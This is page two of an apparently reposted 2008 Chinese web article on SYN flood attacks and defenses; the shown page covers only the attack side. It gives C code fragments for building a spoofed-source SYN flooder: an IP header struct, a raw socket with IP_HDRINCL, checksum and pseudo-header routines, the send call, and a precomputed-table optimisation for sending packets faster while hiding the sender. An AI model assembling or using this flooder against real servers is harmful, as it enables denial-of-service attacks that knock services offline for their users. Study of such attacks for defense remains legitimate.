剖析SYN Flood攻击与防御技术(图)

作者:佚名    文章来源:不详    点击数:    更新时间:2008-7-5

  通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2(二进制的00000010)我们能制造一个SYN的TCP报文,通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己,也为了躲避服务器的SYN Cookie检查,还需要直接对IP首部进行操作:

  同样定义一个IP_HEADER来存放IP首部:

typedef struct _iphdr
 {
    unsigned char h_verlen;   //4位首部长度+4位IP版本号
    unsigned char tos;    //8位服务类型TOS
    unsigned short total_len;  //16位总长度(字节)
    unsigned short ident;   //16位标识
    unsigned short frag_and_flags; //3位标志位
    unsigned char  ttl;    //8位生存时间 TTL
    unsigned char proto;   //8位协议号(TCP, UDP 或其他)
    unsigned short checksum;  //16位IP首部校验和
    unsigned int sourceIP;   //32位源IP地址
    unsigned int destIP;   //32位目的IP地址
 }IP_HEADER;

  然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
 
  建立一个原始套接口,由于我们的IP源地址是伪造的,所以不能指望系统帮我们计算IP校验和,我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和:

   flag=TRUE;
   setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

  IP校验和的计算方法是:首先将IP首部的校验和字段设为0(IP_HEADER.checksum=0),然后计算整个IP首部(包括选项)的二进制反码的和,一个标准的校验和函数如下所示:

USHORT checksum(USHORT *buffer, int size)
 { 
  unsigned long cksum=0;
      while(size >1)
    {
        cksum+=*buffer++;
        size -=sizeof(USHORT);
        }
      if(size ) cksum += *(UCHAR*)buffer;
     cksum = (cksum >> 16) + (cksum & 0xffff);
      cksum += (cksum >>16);
      return (USHORT)(~cksum);
 }

  这个函数并没有经过任何的优化,由于校验和函数是TCP/IP协议中被调用最多函数之一,所以一般说来,在实现TCP/IP栈时,会根据操作系统对校验和函数进行优化。

  TCP首部检验和与IP首部校验和的计算方法相同,在程序中使用同一个函数来计算。

  需要注意的是,由于TCP首部中不包含源地址与目标地址等信息,为了保证TCP校验的有效性,在进行TCP校验和的计算时,需要增加一个TCP伪首部的校验和,定义如下:

struct       
 {
    unsigned long saddr;  //源地址
    unsigned long daddr;  //目的地址
    char mbz;     //置空
    char ptcl;     //协议类型
    unsigned short tcpl;  //TCP长度
 }psd_header;

  然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和:

memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
 memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
 tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

  计算IP校验和的时候不需要包括TCP伪首部:

memcpy(SendBuf,&ip_header,sizeof(ip_header));
 memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
 ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));
 
  再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了:

 memcpy(SendBuf,&ip_header,sizeof(ip_header));
 sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
 
  因为整个TCP报文中的所有部分都是我们自己写入的(操作系统不会做任何干涉),所以我们可以在IP首部中放置随机的源IP地址,如果伪造的源IP地址确实有人使用,他在接收到服务器的SYN+ACK报文后会发送一个RST报文(标志位为00000100),通知服务器端不需要等待一个无效的连接,可是如果这个伪造IP并没有绑定在任何的主机上,不会有任何设备去通知主机该连接是无效的(这正是TCP协议的缺陷),主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时,服务器主机承受的负荷会相当的高,根据测试,一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文,这样的攻击力已经足以拖垮大部分WEB服务器了。
 
  稍微动动脑筋我们就会发现,想对SYN Flooder程序进行优化是很简单的,从程序构架来看,攻击时循环内的代码主要是进行校验和计算与缓冲区的填充,一般的思路是提高校验和计算的速度,我甚至见过用汇编代码编写的校验和函数,实际上,有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识,我们仔细研究了两个不同源地址的TCP SYN报文后发现,两个报文的大部分字段相同(比如目的地址、协议等等),只有源地址和校验和不同(如果为了隐蔽,源端口也可以有变化,但是并不影响我们算法优化的思路),如果我们事先计算好大量的源地址与校验和的对应关系表(如果其他的字段有变化也可以加入这个表),等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送(用指针来直接操作缓冲区的特定位置,从事先计算好的对应关系表中读出数据,替换缓冲区相应字段),这种简单的工作完全取决于系统发送IP包的速度,与程序的效率没有任何关系,这样,即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间,甚至可以定义一个很大的缓冲区数组,填充完毕后再发送。

 

上一页  [1] [2] [3] [4] 下一页

  • 上一篇文章:
  • 下一篇文章: